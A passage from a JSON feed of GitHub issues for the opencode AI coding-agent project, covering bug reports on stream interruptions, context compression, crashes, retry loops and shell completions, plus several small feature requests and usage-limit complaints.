        "text": "### Description Today, many OpenCode Go models interrupt their response mid-stream. I've observed this for DeepSeek-V4-Pro, Kimi-K3 and MiMo-V2-Pro. Other users report this issue for DeepSeek-V4-Flash. I am using the streaming API with my own client, so this is a server issue. I did not see any suspicious streaming packages in terms of `\"data: ...\"` `chat.completion.chunk`s. The server simply closes the HTTP connection mid-stream. This also happens in the middle of tool calls, which results in invalid JSON. The following issues are somewhat related, but not quite the same: * DeepSeek-v4-Flash-free model, not with paid subscription * https://github.com/anomalyco/opencode/issues/41528 * https://github.com/anomalyco/opencode/issues/39393 * https://github.com/anomalyco/opencode/issues/39582 * gpt-5.6-luna * https://github.com/anomalyco/opencode/issues/39881 ### Plugins NA ### OpenCode version NA ### Steps to reproduce 1. Use any model 2. Write a prompt that results in a long response 3. Response stops after 3 to 5 minutes ### Screenshot and/or share link #### Incomplete reasoning <img width=\"1801\" height=\"138\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/ e937b217-899d-4cac-9733-45f46df77f81\" /> #### Incomplete tool call <img width=\"1182\" height=\"172\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/a315fd25-08ca-4f72-9998-21023d4f8f3f\" /> ### Operating System NA ### Terminal NA",
        "url": "https://github.com/anomalyco/opencode/issues/41582",
        "createdAt": "2026-08-10T18:31:13Z",
        "updatedAt": "2026-08-12T15:25:08Z",
        "timestamp": "2026-08-12T15:25:08Z",
        "metrics": {
          "reactions": 2,
          "comments": 3
        },
        "labels": [],
        "author": "99991",
        "state": "open",
        "assignees": [
          "fwang"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:41682",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Context compression loses initial user question and reasoning chain, model responds with hallucinated content",
        "text": "### Description markdown Bug Description After context compression kicks in, the model loses awareness of the original user question and its own prior reasoning chain. It then responds with plausible-looking but factually incorrect content that bears no relation to the actual task. This is a significant usability issue — the model effectively \"forgets\" what it was working on after compression, making long-running tasks unreliable. Concrete Example The user asked: \"该项目存在哪些EMB_REVIEW_MODE=auto_mode类似这种的环境变量?? 分别是在哪传入的, 使用地点又在哪里??\" This is a specific codebase analysis question about environment variable injection points, whitelist definitions, and consumption sites in a CI/CD pipeline project. After context compression, the model: 1. Lost the original question entirely 2. Lost its own multi-step reasoning chain (which had already parsed engine.groovy, nodes/init.py, directives.py, etc.) 3. Started responding with a completely fabricated summary about git commits and \"feat(006)\" — none of which was asked about 4. The response was internally coherent but completely wrong as an answer to the original question Root Cause Context compression discards the early conversation turns (initial user message + model's initial reasoning) while preserving only the most recent tool call results and model responses. When the model has no access to the original question, it falls back to pattern-matching on whatever is still in context — typically the last few tool outputs — and generates a plausible-sounding but unrelated answer. Expected Behavior - The original user question should be preserved through compression, either by being retained verbatim or by being summarized in a \"task context\" section that survives compression - The model's own prior reasoning chain should be preserved or at least summarized so it can continue coherent work - If compression must discard early context, there should be a mechanism to re-inject the task goal into the prompt ### Plugins _No response_ ### OpenCode version 1.18.15 ### Steps to reproduce This problem occurs whenever we perform a compatibility test. ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/41682",
        "timestamp": "2026-08-12T14:13:29Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "bai101315",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:41691",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "TUI: image attachment preview renders as a blank thumbnail",
        "text": "## Summary Image attachments do not render correctly in the OpenCode TUI. The attachment is shown as an almost blank, dark thumbnail with only the `[Image 1]` label, so its visual content cannot be reviewed in the chat. ## Environment - opencode version: `v0.0.0-next-17151` - OS: Fedora Linux 44 (Workstation Edition), kernel `7.1.7-200.fc44.x86_64` - Terminal: `herdr` - Shell: `zsh 5.9` - Install/channel: `next` - GPU: Intel Arc Pro 130T/140T (integrated) - Active plugins: `superpowers@git+https://github.com/obra/superpowers.git` ## Reproduction 1. Start the OpenCode TUI. 2. Attach an image to a prompt. 3. Send the prompt and inspect the image attachment preview in the chat history. ## Expected Behavior The attachment preview should render the image content in the TUI. ## Actual Behavior The preview renders as an almost empty dark thumbnail and displays only the `[Image 1]` label. The image content itself is not visible. ## Additional Context The issue was observed in a local workspace while using the `next` build. A screenshot is available in the associated report context. Reproduction frequency and whether it affects every image have not yet been determined.",
        "url": "https://github.com/anomalyco/opencode/issues/41691",
        "createdAt": "2026-08-11T06:59:10Z",
        "updatedAt": "2026-08-12T15:51:23Z",
        "timestamp": "2026-08-12T15:51:23Z",
        "metrics": {
          "reactions": 1,
          "comments": 1
        },
        "labels": [],
        "author": "NguyenDTAnh",
        "state": "open",
        "assignees": [
          "kommander"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:41714",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[BUG]: Windows Desktop sidecar crashes with exitCode -2147483645, then \"Failed to fetch\"",
        "text": "### Description OpenCode Desktop starts normally on Windows and the local server initially becomes available, but after a short time the `opencode server` sidecar crashes. The UI then reports `TypeError: Failed to fetch`. The issue is reproducible on both 1.18.15 and 1.18.16, including with a completely empty local project outside OneDrive. The logs show: sidecar exited { code: 2147483651 } child process gone { reason: 'crashed', exitCode: -2147483645, serviceName: 'node.mojom.NodeService', name: 'opencode server' } `opencode serve` works correctly when launched manually, and `/global/health` returns healthy = True. I also reinstalled/updated Microsoft Edge WebView2 Runtime, with no change. GitHub suggested #29599 as a possible duplicate, but that issue reports ACCESS_VIOLATION (0xC0000005) / AttachConsole failures, while this reproduction consistently exits with 0x80000003 (-2147483645). GitHub also suggested #33069 as a possible duplicate, but that issue reports intermittent ACCESS_VIOLATION (0xC0000005) crashes approximately every 2 days. This issue reproduces within seconds/minutes and consistently exits with 0x80000003 (-2147483645). [opencode-OC-Test-logs.zip](https://github.com/user-attachments/files/30929762/opencode-OC-Test-logs.zip) ### Plugins None ### OpenCode version 1.18.15 and 1.18.16 ### Steps to reproduce 1. Create an empty local directory: C:\\OC-Test 2. Open C:\\OC-Test as a project in OpenCode Desktop. 3. Wait for the local server to start. 4. After a short time, session loading fails with \"Failed to fetch\". 5. utility.log shows that the `opencode server` sidecar crashed with exitCode -2147483645. ### Screenshot and/or share link <img width=\"1355\" height=\"798\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/fa19f172-928e-4b95-8dc9-c67c55733ea2\" /> ### Operating System Windows 11 Business 24H2 (OS Build 26100.8893) ### Terminal Windows PowerShell",
        "url": "https://github.com/anomalyco/opencode/issues/41714",
        "createdAt": "2026-08-11T09:32:04Z",
        "updatedAt": "2026-08-13T09:01:24Z",
        "timestamp": "2026-08-13T09:01:24Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "Annie9682",
        "state": "open",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:41801",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Manual /compact with DeepSeek V4 Flash degenerates into thousands of repeated lines",
        "text": "### Description A manual `/compact` request using `opencode-go/deepseek-v4-flash` entered an intra-response repetition loop. This differs from repeatedly triggering multiple `Session compacted` cycles: one compaction request itself generated a transcript-like prefix and then repeated the same short line 1,511 times. The compaction never completed. I cancelled it after about 48 seconds, after which OpenCode recorded the message as `Aborted`. No HTTP, authentication, provider, or stream error was logged before cancellation. Related, but not identical: - #30443 - #27924 ### OpenCode version 1.18.16 ### Environment - Ubuntu Linux - TUI - Provider: `opencode-go` - Model: `deepseek-v4-flash` - Manual `/compact`, not automatic overflow compaction - No custom `compaction` agent or compaction prompt configured ### Steps to reproduce 1. Use `opencode-go/deepseek-v4-flash` in a long-running session containing normal assistant messages and tool calls. 2. Wait for the active assistant turn to finish. 3. Run `/compact` manually. 4. Observe the compaction output. ### Actual behavior - The compaction response began by reproducing part of the preceding transcript, including serialized assistant/tool-call text. - It then became stuck repeating one short line. - The persisted compaction text was 29,389 characters when cancelled. - The repeated line occurred 1,511 times in that single text part. - The final text was cut off mid-token because the request was cancelled. - OpenCode did not detect the high repetition or stop the compaction as failed. - The provider/model still completed a minimal normal text-generation request successfully after the incident. Sanitized log sequence: ```text stream providerID=opencode-go modelID=deepseek-v4-flash agent=compaction llm runtime selected ... provider=opencode-go model=deepseek-v4-flash [about 48 seconds of streaming] cancel session.id=<redacted> process ... error=Aborted ``` ### Expected behavior The compaction agent should produce a concise handoff summary. If its output becomes highly repetitive or fails to reduce the conversation meaningfully, OpenCode should stop the request, mark compaction as failed, and preserve the previous usable session state. A repetition/degeneration guard on compaction output would prevent a model or provider backend from streaming thousands of duplicate lines and consuming usage indefinitely. ### Additional context This may involve an interaction between the DeepSeek model/backend and the compaction prompt, but OpenCode currently has no client-side guard for degeneration inside a single compaction response. This report intentionally omits the full session export because it contains private project content.",
        "url": "https://github.com/anomalyco/opencode/issues/41801",
        "createdAt": "2026-08-11T16:45:00Z",
        "updatedAt": "2026-08-12T19:36:53Z",
        "timestamp": "2026-08-12T19:36:53Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "a-green-hand-jack",
        "state": "closed",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:41806",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Instance bootstrap hangs forever (Linux): spawned git child exits but is never reaped — TUI renders, but Enter can never start a session",
        "text": "## Summary On Linux, `opencode` (TUI) intermittently hangs **forever during instance bootstrap**: a `git` child spawned during init **exits but is never reaped** (it stays `<defunct>` for the life of the process), the bootstrap await never settles, and the window renders normally — accepts typing — but Enter can never start a session because the server side never finished booting. No error is shown or logged; the process idles in `epoll` indefinitely. ## Environment - opencode **1.18.15**, Linux 6.8.0-124-generic (Ubuntu), TUI launched in a terminal - Heavily concurrent host: multiple opencode instances (interactive + `opencode run`) active in the same projects ## Evidence (from two live hung instances, same day) Log (shared `~/.local/share/opencode/log/opencode.log`) — the hung instance run stops mid-bootstrap and never logs another line: Instance A stopped at `init`: ``` 16:33:51.880 bootstrapping directory=/home/oren/projects/kk/billie 16:33:52.020 message=\"all LSPs are disabled\" 16:33:52.021 message=\"all formatters are disabled\" 16:33:52.021 message=init <- nothing, ever again (14 lines total, 0 sessions) ``` Instance B stopped one phase later: ``` 16:40:13.397 message=init 16:40:16.163 message=\"watcher backend\" ... backend=inotify 16:40:16.165 message=\"project copy refresh started\" projectID=1d4fe22... <- never \"done\", nothing again (0 sessions) ``` A healthy boot of the SAME project in the SAME minute continues: `init` → `watcher backend` → `project copy refresh started/done` → `init count=281` → sessions created on Enter. Process table — the discriminator. Each hung instance holds exactly one unreaped git child; seven healthy same-host instances hold zero: ``` $ ps --ppid <hung-tui-pid> -o pid,stat,args 3377914 Sl+ python3 .../mcp_server.py (local MCP, alive, fine) 3378581 Zs [git] <defunct> (spawned during bootstrap, never reaped) ``` The zombies' spawn times match the last log line to the second (e.g. git spawned 16:40:16 local; `project copy refresh started` logged 16:40:16.165Z). Parent state: `wchan=ep_poll`, i.e. the event loop is alive and waiting — an await whose completion event was lost, not a deadlock on a sync call. ## Trigger correlation Both hangs happened when the window was opened into a project where **other opencode instances were concurrently running git against the same shared snapshot store** (`~/.local/share/opencode/snapshot/<projectID>/` — visible as concurrent `tracking hash=...` log lines from the other instances). It is a race: a boot into the same busy project 90 s earlier survived. Historical scan of our log: ~30 instance runs since 2026-08-07 (of 895) logged `creating instance` but never reached `watcher backend`, clustered in bursts of concurrent activity. ## What it is not - Not input/keybind/TTY related — termios verified sane; the failure is server-side, before any input matters. - Not plugins spawning the git — our plugins only spawn git synchronously (`execFileSync`, which reaps its own child). The unreaped child is core's. - Not resolved by any key — only closing and reopening the window. ## Expected Bootstrap either completes or fails loudly. A spawned git child's exit should always settle the awaiting promise (success or error), under any interleaving — including exiting very fast, or failing on `index.lock` contention from a sibling instance. ## Suspected area The boot-time snapshot/project-copy git spawn: child exit (possibly an immediate/fast exit, or a nonzero exit on lock contention) is not observed — either the exit handler is registered after the exit event has already fired (Bun subprocess reaping race) or an error path never rejects the awaited promise. Happy to run an instrumented build or provide more process-level captures; reproduction should be possible by booting a TUI into a project while a loop hammers git operations against that project's snapshot dir.",
        "url": "https://github.com/anomalyco/opencode/issues/41806",
        "createdAt": "2026-08-11T17:21:26Z",
        "updatedAt": "2026-08-12T20:57:53Z",
        "timestamp": "2026-08-12T20:57:53Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "oren-kk",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:41848",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "LLM retry has no max attempts: stream errors cause infinite retry loop, UI stuck on Thinking",
        "text": "﻿## Summary LLM retry has no maximum attempt limit. RETRY_MAX_DELAY is set to 2147483647ms (~24 days). When DeepSeek returns a stream error, the retry loop continues indefinitely — the UI shows \"Thinking...\" forever with no error feedback. ## Evidence - 5 processes died on `llm runtime selected` immediately after `stream error` - RETRY_MAX_DELAY = 2147483647 (should be ~30 seconds for typical API retries) - No RETRY_MAX_ATTEMPTS constant exists - retryable() matches stream errors against patterns like `/stream/` and `/error/` — always retryable - RETRY_MAX_DELAY_NO_HEADERS = 30000 exists but only applies when no response headers present - With response headers, cap is full RETRY_MAX_DELAY (24 days) ## Code location File: `retry.ts` (bundled in main chunk) ``` RETRY_MAX_DELAY = 2147483647 // ~24 days — effectively unlimited RETRY_MAX_DELAY_NO_HEADERS = 30000 // only used without headers // RETRY_MAX_ATTEMPTS is MISSING function policy2(opts) { return fromStepWithMetadata(succeed((meta3) => { const error50 = opts.parse(meta3.input); const retry6 = retryable(error50, opts.provider); if (!retry6) return done(meta3.attempt); // only stops if NOT retryable // continues forever otherwise })); } ``` ## Expected behavior After N attempts (e.g., 3-5), emit a `providerError` event and stop — let the UI show an error instead of eternal \"Thinking...\" Version: 1.18.16, Electron 42.3.3",
        "url": "https://github.com/anomalyco/opencode/issues/41848",
        "createdAt": "2026-08-11T20:40:04Z",
        "updatedAt": "2026-08-12T20:57:41Z",
        "timestamp": "2026-08-12T20:57:41Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "teran-netizen",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:41868",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Merge  Gateway reasoning effort variants are not selectable",
        "text": "### Description Merge Gateway models can declare supported reasoning efforts through models.dev, but OpenCode does not map `merge-gateway-ai-sdk-provider` to the adapter's `mergeGateway` provider-options namespace. As a result, the declared effort variants are unavailable and a selected effort is not forwarded to the adapter. Expected behavior: expose the exact effort values declared by models.dev and send the selected value through `providerOptions.mergeGateway.reasoningEffort`. Related PR: https://github.com/anomalyco/opencode/pull/41867 ### Plugins None ### OpenCode version Development build at d470434 ### Steps to reproduce 1. Connect the MERGE Gateway provider. 2. Select a reasoning model such as GPT-5.6 Sol. 3. Open the model variant selector. 4. Observe that the reasoning effort choices declared by models.dev are unavailable. ### Screenshot and/or share link <img width=\"639\" height=\"240\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/c9aaaded-3396-4a5a-ad19-8a7c8233a7c0\" /> ### Operating System macOS 26.5.2 ### Terminal Ghostty",
        "url": "https://github.com/anomalyco/opencode/issues/41868",
        "createdAt": "2026-08-11T23:08:19Z",
        "updatedAt": "2026-08-12T15:31:21Z",
        "timestamp": "2026-08-12T15:31:21Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "MatthewFeroz",
        "state": "closed",
        "assignees": [
          "kitlangton"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:41966",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "cli: generated Zsh completions fail with doubled argument definition",
        "text": "## Summary The Zsh script generated by `opencode2 --completions zsh` defines both the optional directory and command as positional argument 1. Pressing Tab after `opencode2 ` fails instead of showing completions. ## Environment - opencode version: `opencode2 v0.0.0-next-17276` - OS: Windows 11 with WSL2; Linux 6.18.33.2-microsoft-standard-WSL2 x86_64 - Terminal: Windows Terminal; `TERM=xterm-256color`; `TERM_PROGRAM` and `COLORTERM` unset - Shell: `/usr/bin/zsh`, Zsh 5.9.2 - Install/channel: next/beta, installed at `~/.bun/bin/opencode2` - Active plugins: `codex-limits.ts`, `git-ai.ts` ## Reproduction 1. Run `mkdir -p ~/.zsh/completions && opencode2 --completions zsh > ~/.zsh/completions/_opencode2`. 2. Add `fpath=(\"$HOME/.zsh/completions\" $fpath)`, `autoload -Uz compinit`, and `compinit` to `.zshrc`. 3. Start a fresh Zsh shell. 4. Type `opencode2 ` and press Tab. ## Expected Behavior Zsh displays available OpenCode subcommands and options. ## Actual Behavior Completion fails consistently with: ```text _arguments:comparguments:327: doubled argument definition: 1:command:->command ``` The generated root specification contains: ```zsh ':Directory to start OpenCode in:' '1:command:->command' '*::arg:->args' ``` The unnumbered directory specification occupies positional argument 1 and conflicts with the explicit command definition. ## Additional Context Removing `':Directory to start OpenCode in:'` from the generated file makes completion work. Regenerating the file reintroduces the issue. This occurs with the script emitted directly by `opencode2 --completions zsh`; active plugins do not appear involved.",
        "url": "https://github.com/anomalyco/opencode/issues/41966",
        "createdAt": "2026-08-12T07:47:35Z",
        "updatedAt": "2026-08-12T19:38:58Z",
        "timestamp": "2026-08-12T19:38:58Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [
          "2.0"
        ],
        "author": "AdiY00",
        "state": "closed",
        "assignees": [
          "simonklee"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:41972",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[BUG] Sessions silently deleted after cross-session API access",
        "text": "## Description Sessions accessed via the prompt API from another session are silently deleted. This happens consistently after a session is accessed through cross-session API calls. ## OpenCode version 1.18.16 ## Steps to reproduce 1. Create two sessions (A and B) in OpenCode web UI 2. From session A, send a prompt to session B via the API: ``` POST /session/{sessionB_id}/prompt ``` 3. Session B processes the prompt normally and exits its loop 4. Within 1-2 minutes, session B disappears from the session list and SQLite database ## Evidence from server logs Each deleted session shows this pattern in the log: ``` INFO loop session.id=ses_xxx step=... INFO process session.id=ses_xxx messageID=... INFO stream providerID=opencode-go modelID=deepseek-v4-pro session.id=ses_xxx INFO exiting loop session.id=ses_xxx ``` After \"exiting loop\", the session never appears in logs again and is gone from both API and DB. Earlier occurrences also showed: ``` ERROR \"Failed to drain Session\" sessionID=ses_xxx cause=\"ModelUnavailableError: Model unavailable: opencode-go/deepseek-v4-flash\" ``` But sessions also get deleted without this error when using `deepseek-v4-pro`. ## Impact This makes the multi-agent bridge architecture unreliable — worker sessions are frequently lost, requiring manual recreation. Multiple sessions have been lost: `ses_00b55519`, `ses_00b815d64`, `ses_00b833c7`. ## Notes - The bridge's `stop()` method has correct `_ownedServer` guard and does NOT delete external sessions - The deletion occurs server-side, not from our API calls ## Related Repository This bug was discovered while developing [multi-agent-bridge](https://github.com/Mooling0602/multi-agent-bridge), a framework that uses `@opencode-ai/sdk` to coordinate multiple AI agent sessions. The bridge connects to existing sessions via `adoptSession` (GET) and dispatches tasks via `sendToAgent` / `dispatchToAgent` (POST prompt). All session accesses are read-only from the bridge's perspective — no `session.delete` calls are made.",
        "url": "https://github.com/anomalyco/opencode/issues/41972",
        "createdAt": "2026-08-12T08:33:01Z",
        "updatedAt": "2026-08-12T18:50:42Z",
        "timestamp": "2026-08-12T18:50:42Z",
        "metrics": {
          "reactions": 0,
          "comments": 4
        },
        "labels": [],
        "author": "Mooling0602",
        "state": "closed",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:41996",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "fix(mcp): retry failed MCP connections to handle parallel spawn race condition",
        "text": "## Problem When opencode spawns MCP servers in parallel (concurrency: unbounded), some subprocesses close their stdio pipe before completing the MCP initialize handshake, causing intermittent \"Connection closed\" errors - different MCPs fail on each run. ## Expected behavior All configured MCP servers connect reliably regardless of spawn order/parallelism. ## Reproduction ``` for i in 1 2 3; do opencode mcp list 2>&1 | grep -cE \"fail|error\"; done ```",
        "url": "https://github.com/anomalyco/opencode/issues/41996",
        "timestamp": "2026-08-12T13:31:01Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "herjarsa",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:41997",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "feat(config): add mcp_inherit flag to control global MCP inheritance",
        "text": "## Feature request Add a `mcp_inherit` config field (defaults to `true`) that lets projects opt out of inheriting globally configured MCP servers. Currently every project inherits all global MCPs, and disabling them per-server is tedious. ## Expected behavior A project can set `mcp_inherit: false` to not inherit any global MCP servers.",
        "url": "https://github.com/anomalyco/opencode/issues/41997",
        "timestamp": "2026-08-12T13:30:58Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "herjarsa",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:41998",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "feat(memory): add agent_memory table and memory-tools plugin",
        "text": "## Feature request Add an `agent_memory` table (SQLite, with FTS5 full-text search and tags) plus a `memory-tools` plugin exposing save/search/consolidate operations, enabling cloud backup/restore of OpenCode AgentMemory via Supabase. ## Expected behavior Memory records persist across sessions in a structured table and can be queried/synced by the memory-tools plugin.",
        "url": "https://github.com/anomalyco/opencode/issues/41998",
        "timestamp": "2026-08-12T13:30:55Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "herjarsa",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:41999",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "feat(app): add confirmation dialog before archiving session",
        "text": "## Feature request Show a confirmation dialog before archiving a session from the message timeline, following the same pattern as the existing `DialogDeleteSession`, so accidental archive clicks are prevented. ## Expected behavior Clicking archive on a session shows a confirmation dialog with the session name before archiving.",
        "url": "https://github.com/anomalyco/opencode/issues/41999",
        "timestamp": "2026-08-12T13:30:53Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "herjarsa",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:42008",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Free usage exceeded, subscribe to Go",
        "text": "Здравствуйте, постоянно в работе выскакивает Free usage exceeded, subscribe to Go",
        "url": "https://github.com/anomalyco/opencode/issues/42008",
        "timestamp": "2026-08-12T14:26:19Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "YassRUS36",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:42011",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "test",
        "url": "https://github.com/anomalyco/opencode/issues/42011",
        "timestamp": "2026-08-12T14:26:16Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "BasilSukarieh",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:42013",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "error: Free usage exceeded, subscribe to Go",
        "text": "### Description The day before yesterday, I started using the OpenCode DeepSeek V4 Flash Free model via OpenCode Zen. At first, everything worked. At about 3 a.m., I went to bed. Today I decided to try it and it doesn't work for me now. The error is given by Free usage exceeded, subscribe to Go. I thought I had a problem with my account, so I changed my account. For the first few minutes, I thought I had fixed it, but no. Still the same mistake. What should I do? My friend doesn't have such a problem. ### Plugins nothing ### OpenCode version 1.18.16 ### Steps to reproduce I have already written before ### Screenshot and/or share link <img width=\"1103\" height=\"607\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/8d26bfd2-9869-488a-9894-7efaa15a5a67\" /> ### Operating System Windows 11 ### Terminal Windows Terminal",
        "url": "https://github.com/anomalyco/opencode/issues/42013",
        "createdAt": "2026-08-12T11:57:49Z",
        "updatedAt": "2026-08-13T17:08:26Z",
        "timestamp": "2026-08-13T17:08:26Z",
        "metrics": {
          "reactions": 4,
          "comments": 9
        },
        "labels": [],
        "author": "Top1Nuk1",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42016",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "prompt issue",
        "text": "i started working with it but when i came back for some reason it didnt work again ...i cant seem to get answers its showing thinking then it stops abruptly ...ive tried several things even tried new sessions same issue",
        "url": "https://github.com/anomalyco/opencode/issues/42016",
        "createdAt": "2026-08-12T12:29:40Z",
        "updatedAt": "2026-08-12T14:49:29Z",
        "timestamp": "2026-08-12T14:49:29Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "Lena-Keziah",
        "state": "closed",
        "assignees": [
          "jlongster"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:42018",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "我订阅了opencodego怎么又用不了了",
        "text": "我订阅了opencodego怎么又用不了了",
        "url": "https://github.com/anomalyco/opencode/issues/42018",
        "createdAt": "2026-08-12T12:39:47Z",
        "updatedAt": "2026-08-12T14:49:26Z",
        "timestamp": "2026-08-12T14:49:26Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "zzk-CH",
        "state": "closed",
        "assignees": [
          "MrMushrooooom"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:42024",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Todo-list panel stays stuck at \"0 tasks / 7 done\" after interrupting a session",
        "text": "### Description After interrupting a session while I had an active todo list (7 planned tasks) and then resuming that same session later, the todo-list panel in the TUI remains displayed in a frozen state : it keeps showing \"0 tasks out of 7 done\" and never recovers or clears itself. When a session is interrupted (user stops the agent mid-execution) and resumed, any incomplete todo list should either be clearly closed out, marked as abandoned, or hidden — not linger indefinitely as a stale \"0/7 done\" panel on every startup of that session. ### Plugins _No response_ ### OpenCode version 1.17.16 ### Steps to reproduce Start a task that creates a todo list (e.g. 7 planned tasks). Interrupt the run before any task completes. Exit and later resume the same session. Observe the todo-list panel showing the old unfinished list (stuck at 0/7 done). ### Screenshot and/or share link _No response_ ### Operating System Windows 11 ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42024",
        "timestamp": "2026-08-12T13:31:09Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "infotun3",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:42026",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Missing tool description (undefined) on a plugin tool causes ALL sessions to crash with \"Expected string, got undefined at [description]\"",
        "text": "## Summary When a local plugin registers tools via `ctx.tool.transform` → `tools.add({...})`, and one tool is missing its required `description` string field, it does NOT just make that one tool unusable — it breaks every session and every message, including a trivial \"Reply with exactly: SMOKE_OK\" that never touches the tool. The whole chat fails to get a reply at all. ## Environment - opencode version: 0.0.0-next-17288 (also reproduced on next-17190 / next-17194 / next-17276) - OS: Windows 10 (win32 x64) - Channel: next (npm global) - Active plugins: local plugin at `~/.config/opencode/plugins/opencode-mobile-use/index.ts` ## Reproduction 1. Create a local plugin registering several tools via `ctx.tool.transform`, all with proper `name` + `description` + `input` + `execute`, except one tool that omits `description` entirely. 2. Run any session: `opencode2 run \"Reply with exactly: SMOKE_OK\"`. 3. Result: the command exits non-zero with: ``` Error: Expected string, got undefined at [\"description\"] ``` In the daemon log the stack is: ``` Failed to drain Session Error: Expected string, got undefined at [\"description\"] at SchemaParser.js:142:15 at ../ai/src/schema/messages.ts:244:88 at ../ai/src/llm.ts:59:19 at SessionModelRequest.prepare (../core/src/session/model-request.ts:218:27) at SessionRunner.callModel ... at SessionRunner.drain ... ``` ## Actual Behavior Every session dies during `SessionModelRequest.prepare` — the request is built from the full message + entire tool catalog, and a single tool with `description: undefined` fails schema validation for the whole thing. The model is never even called. No reply is ever produced. The failure is silent from the user's perspective in the TUI — messages just stop getting answers. ## Expected Behavior - At minimum, a missing `description` on one tool should NOT crash all sessions — it should be gracefully skipped or surfaced as a per-tool warning (opencode has precedent for this: \"isolate invalid plugin tools during reload/materialize\", e.g. PR #37934, #35963). - Ideally opencode should validate plugin tool definitions at load/register time and emit 